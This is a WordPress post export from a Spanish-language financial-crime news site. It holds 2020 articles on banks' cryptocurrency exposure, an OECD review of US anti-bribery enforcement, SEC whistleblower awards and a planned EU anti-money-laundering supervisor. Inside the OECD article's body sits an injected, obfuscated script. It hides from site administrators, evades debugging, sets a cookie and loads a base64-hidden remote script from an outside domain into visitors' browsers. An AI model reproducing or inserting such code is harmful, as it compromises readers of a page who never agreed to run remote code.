class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/4bb7abE4e7E\n<\/div><\/figure>\n\n\n\n<p>Recientes novedades en Estados Unidos sugieren que los reguladores se est\u00e1n preparando para la adopci\u00f3n permanente de los activos digitales y esperan que las instituciones financieras comprendan su exposici\u00f3n y mitiguen los riesgos asociados.<\/p>\n\n\n\n<p><strong>Durante los \u00faltimos meses en Estados Unidos:<\/strong><\/p>\n\n\n\n<ul><li>la Oficina del Contralor de la Moneda (OCC) aclar\u00f3 que los bancos nacionales pueden brindar servicios de custodia de activos digitales a los clientes y participar en ciertas actividades de <em>stablecoins<\/em>, tambi\u00e9n llamadas monedas estable,<\/li><li>la Divisi\u00f3n de Banca de Wyoming emiti\u00f3 su primera autorizaci\u00f3n para una instituci\u00f3n depositaria de prop\u00f3sito especiales (SPDI por sus siglas en ingl\u00e9s) para que Kraken se transforme en el primer intercambio de criptomonedas regulado como un banco, y<\/li><li>la Conferencia de Supervisores de Bancos Estatales (CSBS) present\u00f3 un conjunto \u00fanico de reglas de supervisi\u00f3n para que las empresas de criptomonedas puedan expandirse m\u00e1s f\u00e1cilmente en todo el pa\u00eds.<\/li><\/ul>\n\n\n\n<p>Estas novedades significan que los bancos y otras instituciones financieras tienen la oportunidad de pasar a una clase de activos emergentes que crecen en popularidad, particularmente entre los consumidores m\u00e1s j\u00f3venes. Sin embargo, comentarios recientes de Kenneth A. Blanco, Director de la Red de Ejecuci\u00f3n de Delitos Financieros del Departamento del Tesoro (FinCEN), la Unidad de Informaci\u00f3n Financiera de EE.UU., sugieren que incluso los bancos sin intenci\u00f3n de expandir sus negocios al espacio de las criptomonedas deben comprender este universo y monitorear las interacciones de sus clientes con este para cumplir con sus obligaciones regulatorias.<\/p>\n\n\n\n<p>El mes pasado, Blanco habl\u00f3 en una conferencia sobre los esfuerzos de los estafadores para aprovechar la crisis de Covid-19 y la respuesta de su agencia. Pero lo m\u00e1s notable de sus comentarios fue el tiempo que dedic\u00f3 a explicar por qu\u00e9 todos los bancos deben ser conscientes de su exposici\u00f3n a las criptomonedas y el riesgo que asumen al ignorarla.<\/p>\n\n\n\n<p>Espec\u00edficamente, dijo: \u201cUn tema que siempre aparece durante estas conversaciones se relaciona con la mitigaci\u00f3n de los riesgos asociados con los sistemas de pago emergentes, incluida la moneda virtual. Para ser claros, los intercambios de [moneda virtual] no son los \u00fanicos con exposici\u00f3n al riesgo de las monedas criptogr\u00e1ficas. Estos riesgos no son exclusivos de las empresas de servicios monetarios o los cambistas de divisas virtuales; los bancos tambi\u00e9n deben estar pensar en su exposici\u00f3n a las criptomonedas\".<\/p>\n\n\n\n<p>Las palabras de Blanco indican que un banco tradicional puede ser considerado responsable de la actividad il\u00edcita llevada a cabo con criptomonedas por sus clientes, incluso si el propio banco no proporciona servicios de custodia de criptomonedas.<\/p>\n\n\n\n<p>Por ejemplo, si un cliente transfiere fondos de su cuenta bancaria a un cambista de criptomonedas, compra criptomonedas y luego, digamos, env\u00eda esa criptomoneda a un individuo sancionado o al mercado de la red oscura, la exposici\u00f3n del banco a ese riesgo podr\u00eda ser preocupante para los reguladores.<\/p>\n\n\n\n<p>De manera similar, si un cliente extorsiona a otros en esquemas de <em>ransomware<\/em>, acepta criptomonedas en un intercambio que transfiere fondos a su cuenta bancaria, podr\u00eda estar exponiendo a su banco a riesgos. Analizaremos c\u00f3mo los bancos pueden prepararse para incorporar la criptomoneda en sus programas de cumplimiento.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/AdobeStock_192635639-1024x503.jpeg\" alt=\"\" class=\"wp-image-25404\"\/><\/figure>\n\n\n\n<p><strong><u>Comprender la exposici\u00f3n a las criptomonedas y el riesgo<\/u><\/strong><\/p>\n\n\n\n<p>Los bancos que eval\u00faan su riesgo de criptomonedas primero deben preguntarse si tienen alguna forma de identificar a los clientes actuales que usan criptomonedas.<\/p>\n\n\n\n<p>Algunos bancos pueden pensar que ninguno de sus clientes usa criptomonedas. De hecho, cuando la compa\u00f1\u00eda de investigaci\u00f3n de blockchain Chainalisys encuest\u00f3 a un grupo de profesionales de inversi\u00f3n hace un a\u00f1o, casi un tercio estim\u00f3 que ninguno de sus clientes realizaba transacciones con negocios de criptomonedas. Bancos como Wells Fargo han prohibido rotundamente a sus clientes enviar fondos a negocios de criptomonedas, lo que podr\u00eda llevarlos a creer que muy pocos o incluso ninguno de ellos lo est\u00e1n haciendo.<\/p>\n\n\n\n<p>Sin embargo, esto podr\u00eda no ser as\u00ed. Una encuesta reciente de la firma de consultor\u00eda financiera Cornerstone Advisors sugiere que el 15% de los estadounidenses ha comprado criptomonedas de alguna forma, y otro 11% dice que planea hacerlo en un futuro pr\u00f3ximo.<\/p>\n\n\n\n<p>Tambi\u00e9n sabemos por otras encuestas que es a\u00fan m\u00e1s probable que los consumidores m\u00e1s j\u00f3venes hayan comprado criptomonedas. Por lo tanto, parece improbable que cualquier banco con una base de clientes sustancial no tenga al menos algunos clientes que realicen transacciones con negocios de criptomonedas.<\/p>\n\n\n\n<p>Los bancos que informan una adopci\u00f3n nula de criptomonedas entre sus clientes probablemente no est\u00e1n obteniendo una imagen completa y podr\u00edan enfrentar problemas con los reguladores en el futuro.<\/p>\n\n\n\n<p>Si los bancos aceptan que al menos algunos de sus clientes probablemente est\u00e9n comprando criptomonedas, \u00bfc\u00f3mo adoptan un enfoque espec\u00edfico para administrar el riesgo asociado?<\/p>\n\n\n\n<p>El primer paso es conocer los intercambios de criptomonedas m\u00e1s populares. Los intercambios son las rampas principales de entrada y salida entre la criptomoneda y la moneda fiduciaria, y probablemente los lugares m\u00e1s comunes a los que sus clientes enviar\u00edan fondos para comprar criptomonedas. Los bancos necesitan crear un sistema para detectar intercambios en sus mensajes SWIFT, pagos ACH y transacciones con tarjeta de d\u00e9bito.<\/p>\n\n\n\n<p>Los principales intercambios de criptomonedas est\u00e1n en constante evoluci\u00f3n, por lo que los bancos tambi\u00e9n deben monitorearlos en tiempo real para que dicho programa sea efectivo.<\/p>\n\n\n\n<p>Si los bancos comenzaran a monitorear estas empresas en la actividad de sus clientes hoy, inevitablemente encontrar\u00edan transacciones relacionadas con las criptomonedas que no sab\u00edan que estaban sucediendo. A partir de ah\u00ed, deben evaluar el riesgo de esas transacciones en funci\u00f3n de sus pol\u00edticas actuales contra el lavado de dinero, verificando transacciones que sugieran una actividad sospechosa.<\/p>\n\n\n\n<p>A largo plazo, los bancos deber\u00e1n evaluar individualmente todos los intercambios con los que sus clientes realizan transacciones, as\u00ed como cualquier otro negocio de criptomonedas que los clientes est\u00e9n financiando desde sus cuentas bancarias.<\/p>\n\n\n\n<p>Para empezar, deben examinar el modelo comercial \u00fanico de cada intercambio, la calidad del programa de cumplimiento y la jurisdicci\u00f3n de operaci\u00f3n. Pero estos factores cualitativos no son suficientes por s\u00ed solos. Los bancos tambi\u00e9n deben evaluar la efectividad del cumplimiento de los intercambios midiendo su exposici\u00f3n a contrapartes riesgosas en otras partes del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>Estas mediciones ser\u00edan la se\u00f1al m\u00e1s fuerte de si un banco debiera o no hacer comerciar con un negocio de criptomonedas, pero la mayor\u00eda de los bancos no pueden obtener estos datos por s\u00ed mismos, por lo general se pueden asociar con proveedores de datos confiables que tengan un conocimiento del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>A medida que se sientan m\u00e1s c\u00f3modos con el espacio, los bancos tambi\u00e9n pueden trabajar para establecer relaciones con los equipos de cumplimiento en empresas de criptomonedas de renombre que sus clientes utilizan con m\u00e1s frecuencia y trabajar con ellos para resolver problemas juntos.<\/p>\n\n\n\n<p><strong><u>Los bancos deber\u00edan tener una ventaja en las criptomonedas<\/u><\/strong><\/p>\n\n\n\n<p>El tiempo es clave para los bancos, los comentarios de Blanco indican que los reguladores pronto esperar\u00e1n que puedan mostrar c\u00f3mo sus programas de cumplimiento ALD\/CFT abordan la actividad de las criptomonedas y cu\u00e1l es el nivel de riesgo relacionado con las criptomonedas. Los bancos har\u00edan bien en comenzar a recopilar esa informaci\u00f3n ahora, en lugar de esperar hasta que los reguladores la exijan.<\/p>\n\n\n\n<p>Si bien esto puede ser desalentador al principio, los departamentos de cumplimiento de los bancos eventualmente dominar\u00e1n las criptomonedas si toman estos pasos. Despu\u00e9s de eso, \u00bfqui\u00e9n sabe qu\u00e9 podr\u00eda pasar? Los bancos que actualmente no planean involucrarse en el espacio de criptomonedas pueden abrirse a la idea de la adopci\u00f3n institucional a medida que desarrollan e implementan procedimientos para mitigar el riesgo de las criptomonedas.<\/p>\n","post_title":"Los bancos necesitan comprender su exposici\u00f3n a las criptomonedas incluso si no toman custodia de estas","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"los-bancos-necesitan-comprender-su-exposicion-a-las-criptomonedas-incluso-si-no-toman-custodia-de-estas","to_ping":"","pinged":"","post_modified":"2020-11-24 16:21:23","post_modified_gmt":"2020-11-24 20:21:23","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25400","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25409,"post_author":"16","post_date":"2020-11-23 11:33:00","post_date_gmt":"2020-11-23 15:33:00","post_content":"\n<p>Estados Unidos contin\u00faa liderando en la lucha contra la corrupci\u00f3n transnacional, pero podr\u00eda mejorar sus esfuerzos extendiendo la protecci\u00f3n a m\u00e1s denunciantes y ofreciendo transparencia adicional en la resoluci\u00f3n de casos de soborno en el extranjero, se\u00f1al\u00f3 el Grupo de Trabajo sobre Soborno de la Organizaci\u00f3n para la Cooperaci\u00f3n y Desarrollo Econ\u00f3micos (OCDE).<\/p>\n\n\n\n<p>El grupo de trabajo, en <a href=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" data-type=\"URL\" data-id=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>un informe publicado la semana pasada<\/strong><\/a>, elogi\u00f3 a Estados Unidos por elevar el nivel de aplicaci\u00f3n de su Ley de Pr\u00e1cticas Corruptas en el Extranjero (FCPA) desde su \u00faltima evaluaci\u00f3n por parte del grupo en 2010.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large is-resized\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image-1.png\" alt=\"\" class=\"wp-image-25410\" width=\"376\" height=\"377\"\/><\/figure><\/div>\n\n\n\n<p>Tambi\u00e9n elogi\u00f3 el \u00e9xito del programa de denuncia en la Comisi\u00f3n de Bolsa y Valores (SEC) por ayudar a detectar posibles irregularidades.<\/p>\n\n\n\n<p>Estados Unidos ha presentado 156 casos bajo la FCPA o violaciones relacionadas, tales como contabilidad creativa y lavado de dinero, entre septiembre de 2010 y julio de 2019, dijo la OCDE. Esos casos dieron lugar a la condena o al castigo de 174 empresas y 115 personas durante el per\u00edodo, seg\u00fan el informe. En comparaci\u00f3n con las 88 empresas y 71 personas registradas en la evaluaci\u00f3n anterior, que tuvo en cuenta el per\u00edodo entre 2002 y 2010.<\/p>\n\n\n\n<p>La FCPA proh\u00edbe que las empresas y las personas estadounidenses paguen sobornos a funcionarios de gobiernos extranjeros para obtener negocios.<\/p>\n\n\n\n<p>El informe, que refleja los hallazgos de expertos de Argentina y el Reino Unido, es parte de la cuarta fase de una revisi\u00f3n continua por pares del grupo de trabajo de la OCDE, que monitorea y eval\u00faa la implementaci\u00f3n y cumplimiento de la Convenci\u00f3n Antisoborno de la OCDE por parte de 44 pa\u00edses miembros. La cuarta fase se centra en el cumplimiento, la detecci\u00f3n y la responsabilidad empresarial, y eval\u00faa las necesidades de cada pa\u00eds y c\u00f3mo ha implementado las recomendaciones de la evaluaci\u00f3n anterior.<\/p>\n\n\n\n<p>Se solicita a los pa\u00edses miembros, incluido EE. UU., que env\u00eden un seguimiento por escrito a los pocos a\u00f1os del informe de evaluaci\u00f3n para explicar c\u00f3mo implementaron las recomendaciones de la OCDE.<\/p>\n\n\n\n<p>La OCDE agreg\u00f3 que los programas de denuncia en Estados Unidos han desempe\u00f1ado un papel fundamental en la detecci\u00f3n de presuntos sobornos extranjeros.<\/p>\n\n\n\n<p>El Departamento de Justicia de EE.UU. y la SEC mantienen l\u00edneas directas p\u00fablicas para recibir sugerencias an\u00f3nimas. El programa de denuncia de irregularidades de la SEC, creado por la Ley Dodd-Frank de 2010, tambi\u00e9n cre\u00f3 incentivos financieros y protecci\u00f3n contra las represalias para que los informantes que reporte presuntas infracciones relacionadas con la FCPA.<\/p>\n\n\n\n<p>El programa de denunciantes de la SEC, que comenz\u00f3 a funcionar en 2011, estableci\u00f3 nuevos r\u00e9cords en el a\u00f1o fiscal 2020 que finaliz\u00f3 el 30 de septiembre, otorgando m\u00e1s dinero a m\u00e1s informantes que en cualquier otro a\u00f1o de la historia del programa.<\/p>\n\n\n\n<p>La OCDE recomend\u00f3 en el informe que EE.UU. fortalezca y extienda la protecci\u00f3n contra las represalias a todos los informantes del sector privado que puedan plantear acusaciones relacionadas con la FCPA, incluidos aquellos que denuncian presunta corrupci\u00f3n por parte de empresas que no emiten valores o aquellos que solo informan al Departamento de Justicia.<\/p>\n\n\n\n<p>La OCDE tambi\u00e9n recomend\u00f3 que las agencias de ley de EE.UU. brinden m\u00e1s transparencia en las resoluciones de algunos casos de la FCPA, como facilitar al p\u00fablico la obtenci\u00f3n de informaci\u00f3n sobre la extensi\u00f3n o finalizaci\u00f3n de los acuerdos de no enjuiciamiento (<em>nonprosecution agreements<\/em>) y los acuerdos de enjuiciamiento diferido (<em>deferred prosecution agreements<\/em>) con empresas en los casos de la FCPA. Tambi\u00e9n recomend\u00f3 que EE.UU. contin\u00fae abordando la reincidencia mediante sanciones apropiadas.<\/p>\n\n\n\n<p>El informe que alaba los esfuerzos de Estados Unidos para hacer cumplir la ley no fue una sorpresa para la comunidad anticorrupci\u00f3n, dijeron los observadores. Pero el informe, de 180 p\u00e1ginas, describi\u00f3 varias de las mejores pr\u00e1cticas del gobierno de EE.UU. que podr\u00edan ser \u00fatiles para otros pa\u00edses o regiones que buscan ser m\u00e1s efectivos en su lucha contra el soborno extranjero.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Un grupo de trabajo de la OCDE elogia los esfuerzos de EE.UU. contra el soborno en el extranjero","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"un-grupo-de-trabajo-de-la-ocde-elogia-los-esfuerzos-de-ee-uu-contra-el-soborno-en-el-extranjero","to_ping":"","pinged":"","post_modified":"2025-10-24 17:04:10","post_modified_gmt":"2025-10-24 21:04:10","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25409","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25406,"post_author":"16","post_date":"2020-11-23 11:32:00","post_date_gmt":"2020-11-23 15:32:00","post_content":"\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/wgbCobolWgA\n<\/div><\/figure>\n\n\n\n<p>El programa de denunciantes de la Comisi\u00f3n de Bolsa y Valores de EE. UU. (SEC por sus siglas en ingl\u00e9s) estableci\u00f3 un nuevo r\u00e9cord anual otorgando m\u00e1s dinero a m\u00e1s informantes en el a\u00f1o fiscal 2020 que en cualquier otro a\u00f1o de la historia del programa. La oficina pag\u00f3 alrededor de US$ 175 millones en recompensas a 39 informantes en el a\u00f1o fiscal que finaliz\u00f3 en septiembre y recibi\u00f3 una cantidad r\u00e9cord, alrededor de 6.900 de denuncias.<\/p>\n\n\n\n<p>El volumen sigue a los esfuerzos del regulador para acelerar los pagos a los denunciantes despu\u00e9s de a\u00f1os de quejas de que el programa es lento para repartir las recompensas.<\/p>\n\n\n\n<p>\"Estamos enviando el mensaje a la gente que, si nos brinda informaci\u00f3n de alta calidad, investigaremos y emprenderemos acciones con vigor, y luego le daremos una recompensa al denunciante de inmediato\", se\u00f1al\u00f3 el presidente de la SEC Jay Clayton en una reciente entrevista, la semana pasada anunci\u00f3 que planea dimitir a finales de este a\u00f1o.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image.png\" alt=\"\" class=\"wp-image-25407\"\/><\/figure>\n\n\n\n<p>La Oficina del Denunciante de la SEC emiti\u00f3 alrededor de US$ 175 millones en recompensa a 39 personas en el a\u00f1o fiscal que finaliz\u00f3 el 30 de septiembre, seg\u00fan el informe anual de la oficina al Congreso. El monto total en d\u00f3lares fue 4% m\u00e1s alto que el r\u00e9cord anterior, alrededor de US$ 168 millones en el a\u00f1o fiscal 2018, y casi tres veces el total emitido en el a\u00f1o fiscal 2019, cuando se distribuyeron US$ 60 millones entre ocho personas.<\/p>\n\n\n\n<p>En este \u00faltimo a\u00f1o fiscal, la oficina del denunciante tambi\u00e9n emiti\u00f3 un r\u00e9cord de 315 determinaciones preliminares de reclamos de adjudicaci\u00f3n que detallan si el reclamo de un informante debe aprobarse o denegarse, que es un 96% m\u00e1s que el r\u00e9cord anterior, establecido en 2014, cuando la mayor\u00eda de las \u00f3rdenes preliminares fueron denegaciones emitidas a un reclamante, seg\u00fan el informe.<\/p>\n\n\n\n<p>La SEC comenz\u00f3 a revisar su proceso de evaluaci\u00f3n de reclamos con el objetivo de hacerlo m\u00e1s eficiente hace aproximadamente un a\u00f1o y medio cuando la agencia reguladora propuso cambios a las reglas del programa de denuncia de irregularidades, seg\u00fan Clayton.<\/p>\n\n\n\n<p>Las enmiendas a las reglas del programa de denunciantes, aprobadas en septiembre y dise\u00f1adas para hacer que el proceso de adjudicaci\u00f3n sea m\u00e1s eficiente, entrar\u00e1n en vigencia el pr\u00f3ximo mes.<\/p>\n\n\n\n<p>El regulador ha sumado personal al programa y ha utilizado recursos de toda la divisi\u00f3n de cumplimiento de la SEC, se\u00f1al\u00f3 Stephanie Avakian, directora de la divisi\u00f3n, que supervisa el programa de denuncia. La oficina ahora tiene 13 abogados, m\u00e1s tres temporales, y un personal de apoyo que incluye un contador, asistentes legales, analistas y secretarios legales, seg\u00fan el informe. En comparaci\u00f3n con los ocho abogados, tres asistentes legales y un especialista de apoyo en 2012.<\/p>\n\n\n\n<p>\u201cEl programa, como todo lo dem\u00e1s, debe adaptarse con el tiempo\u201d, dijo Avakian. \"Realmente ha pagado dividendos masivos, y espero que esos dividendos solo aumenten con el tiempo\".<\/p>\n\n\n\n<p>Los abogados que representan a los denunciantes han atribuido el aumento en parte a la pandemia, se\u00f1alando el hecho de que muchos presuntos denunciantes trabajan desde la privacidad de su hogar, fuera de la vista de colegas y gerentes curiosos y, por lo tanto, est\u00e1n m\u00e1s seguros de ser expuestos como denunciantes.<\/p>\n\n\n\n<p>\"Probablemente ha habido un aumento considerable de cuestiones para quejarse a la luz de Covid\", dijo Avakian y se\u00f1al\u00f3 que no pueden estar seguros sobre qu\u00e9 contribuy\u00f3 precisamente al aumento y agreg\u00f3 que podr\u00eda haber m\u00faltiples razones.<\/p>\n\n\n\n<p>Seg\u00fan el programa, que fue promulgado como parte de la Ley Dodd-Frank de 2010, un denunciante puede recibir una indemnizaci\u00f3n por un total de entre el 10% y el 30% de las multas impuestas en las acciones de ejecuci\u00f3n civil de la SEC que resultan de su denuncia, asumiendo que las multas suman m\u00e1s de US$ 1 millones. La SEC ha otorgado recompensas por alrededor de US$ 720 millones a 113 personas desde que comenz\u00f3 el programa.<\/p>\n","post_title":"El programa de denuncia de irregularidades de la SEC establece nuevos r\u00e9cords en 2020","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-programa-de-denuncia-de-irregularidades-de-la-sec-establece-nuevos-records-en-2020","to_ping":"","pinged":"","post_modified":"2020-11-24 11:33:32","post_modified_gmt":"2020-11-24 15:33:32","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25406","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25351,"post_author":"16","post_date":"2020-11-16 18:10:31","post_date_gmt":"2020-11-16 22:10:31","post_content":"<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries.\u00a0<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The agreement in the EU Council will lay the groundwork for more formal legal edicts that are expected to come into effect early next year.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The deal will be a widely watched initiative by global watchdog groups and associated world powers in the wake of the shameful banking scandals in the Baltic and Nordic countries.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The Council of Europe also \"supports the creation of an EU-level supervisor with direct supervisory powers over a number of high-risk reporting entities, as well as the authority to assume supervision from a national supervisor in exceptional and clearly defined situations. \", according to the ministers, in a drastic measure.<\/span><\/span><\/b>\n\n<iframe src=\"https:\/\/www.youtube.com\/embed\/Wlb9y8qbXOI\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries<\/span><\/span><\/b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> , with the power to participate in direct reviews. , request information and impose pecuniary penalties.<\/span><\/span>\n\n<span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The\u00a0 <\/span><\/span><a href=\"https:\/\/www.consilium.europa.eu\/en\/meetings\/ecofin\/2020\/11\/04\/\" target=\"_blank\" rel=\"noopener noreferrer\"><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">agreement\u00a0<\/span><\/span><\/a><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> in the EU Council will lay the groundwork for more formal legal edicts expected to come into force early next year, an initiative widely watched by global watchdog groups and associated world powers in the wake of the embarrassing banking scandals. The Baltic and Nordic countries (with the laundering of an estimated billions of dollars linked to high-risk regions such as Russia) will destroy the perception that the EU has a strong AML \/ CFT structure.<\/span><\/span>\n\nEl Consejo de Europa tambi\u00e9n \"apoya la creaci\u00f3n de un supervisor a nivel de la UE con poderes de supervisi\u00f3n directa sobre un n\u00famero de entidades obligadas de alto riesgo, as\u00ed como la autoridad para asumir la supervisi\u00f3n de un supervisor nacional en situaciones excepcionales y claramente definidas\", seg\u00fan los ministros, en una medida dr\u00e1stica.\n\nEl impulso para hacer cambios en todas estas \u00e1reas es claramente una respuesta al esc\u00e1ndalo del Danske Bank, que contin\u00faa haciendo ruido.\n\nEl esc\u00e1ndalo ha hecho que el mayor prestamista de Dinamarca se enfrente a una pl\u00e9tora de sondeos, investigaciones, acusaciones y recriminaciones en varios pa\u00edses por el monitoreo, reporte y manejo de unos 200.000 millones de euros, o m\u00e1s de US$224.000 millones, en transacciones potencialmente sospechosas vinculadas a Rusia entre 2007 y 2015.\n\nEl esc\u00e1ndalo ha puesto en la calle a algunos de los principales l\u00edderes bancarios en Dinamarca y Suecia, ha puesto en la encrucijada a Deutsche Bank e incluso ha puesto a los reguladores en las regiones bajo la mira, incluso cuando estos reguladores y sus agencias regulatorias trabajan para imponer sanciones a las instituciones involucradas. Pero las debilidades en la UE que permitieron tales esc\u00e1ndalos podr\u00edan estar recibiendo la atenci\u00f3n que merecen.\n\n\"La lucha contra el lavado de dinero y el financiamiento del terrorismo es una de las principales prioridades de la presidencia alemana\", dijo Olaf Scholz, ministro federal de Finanzas y vicecanciller de Alemania, en un comunicado.\n\n\"Los recientes supuestos casos de lavado de dinero, incluso en la UE, subrayan la urgencia de actuar\", dijo. \u201cUnas normas m\u00e1s armonizadas y una supervisi\u00f3n a nivel de la UE nos permitir\u00e1n ser m\u00e1s eficaces y fortalecer el marco de lucha contra el lavado de la UE. Es una se\u00f1al importante de que todos estamos unidos por las estrictas medidas contra el lavado de dinero\".\n\n<b><u>Para una nueva autoridad ALD\/CFT de la UE, m\u00e1s poder, comunicaci\u00f3n y coordinaci\u00f3n<\/u><\/b>\n\nLa misiva del Consejo pide a la Comisi\u00f3n de la UE que d\u00e9 prioridad al trabajo en la creaci\u00f3n de un \"c\u00f3digo normativo \u00fanico\" para la supervisi\u00f3n ALD\/CFT que abarque los pa\u00edses y, con las expectativas establecidas, el establecimiento de un organismo de supervisi\u00f3n ALD\/CFT a nivel de la UE que se entrelazar\u00eda y trabajar\u00eda con las unidades de inteligencia (UIF).\n\nLa comisi\u00f3n tambi\u00e9n debe \u201cgarantizar que el supervisor ALD\/CFT de la UE, como nueva autoridad competente, est\u00e9 completamente integrado en las estructuras de cooperaci\u00f3n entre todas las instituciones relevantes a nivel nacional y de la UE, tales como las autoridades nacionales competentes, las UIF y los mecanismos de coordinaci\u00f3n y apoyo\u201d, seg\u00fan el consejo.\n\nAl mismo tiempo, el nuevo supervisor ALD\/CFT debe estar en coordinaci\u00f3n y comunicaci\u00f3n con \"las autoridades de ley, otras autoridades p\u00fablicas relevantes en la UE, as\u00ed como con las instituciones de la UE, incluido el Banco Central Europeo (BCE) como supervisor prudencial en los casos pertinentes y otras autoridades y agencias como las Autoridades Europeas de Supervisi\u00f3n (AES), la Fiscal\u00eda Europea (EPPO) y Europol\".\n\nLa naciente autoridad tambi\u00e9n podr\u00eda encontrarse en medio de un tira y afloja a nivel pa\u00edses.\n\n\"En particular con respecto al flujo de informaci\u00f3n entre las autoridades de supervisi\u00f3n de origen y de destino, el supervisor de la UE debe desempe\u00f1ar un papel de mediador en los conflictos\", seg\u00fan el consejo.\n\n<b><u>Un gran poder ALD\/CFT conlleva una gran responsabilidad: imponer sanciones<\/u><\/b>\n\nEl organismo a\u00fan en formaci\u00f3n tendr\u00e1 amplios poderes a nivel de bloque y pa\u00eds.\n\nLas responsabilidades del supervisor ALD\/CFT de la UE deben \"incluir el derecho a inspecciones generales, incluida la solicitud de informaci\u00f3n, el examen de registros y la realizaci\u00f3n de supervisi\u00f3n en el sitio y extra situ, as\u00ed como el derecho a imponer medidas de supervisi\u00f3n y sanciones administrativas\", seg\u00fan al consejo.\n\nEstos incluir\u00edan el examen de grandes grupos bancarios, los que operan en varios estados miembros, para encontrar lagunas y fallas percibidas e incluso la autoridad para \"obligar la designaci\u00f3n de un oficial de cumplimiento, exigir informes regulares y emitir instrucciones directas con respecto a la debida diligencia mejorada o transacciones de alto riesgo.\"\n\nUna vez establecida, la nueva autoridad podr\u00eda actuar m\u00e1s r\u00e1pidamente para presionar cambios\u2014a nivel de pa\u00eds o con incursiones guiadas con precisi\u00f3n en instituciones individuales\u2014 lo que ser\u00eda una mejora con respecto al proceso lento y de m\u00faltiples pasos para fomentar el cumplimiento utilizado actualmente.\n\nPor ejemplo, cuando se trata de pa\u00edses que se demoran en adoptar la Quinta Directiva de la UE contra el lavado de dinero (AMLD5) en la legislaci\u00f3n nacional, la comisi\u00f3n debe primero revisar un pa\u00eds, luego enviar un dictamen, luego remitir el asunto al Tribunal de Justicia de la UE y luego finalmente puede comenzar a imponer sanciones monetarias por incumplimiento.\n\nEn febrero, justo en el momento en que la pandemia de COVID-19 comenz\u00f3 a aflorar, la Comisi\u00f3n Europea envi\u00f3 cartas de notificaci\u00f3n formal a Chipre, Hungr\u00eda, los Pa\u00edses Bajos, Portugal, Rumania, Eslovaquia, Eslovenia y Espa\u00f1a por no haber notificado ninguna medida de implementaci\u00f3n para la nueva directiva.\n\n<b><u>Incluso mientras la pandemia contin\u00faa, las autoridades no permitir\u00e1n que los pa\u00edses la usen como excusa en materia de ALD\/CFT<\/u><\/b>\n\nLos funcionarios 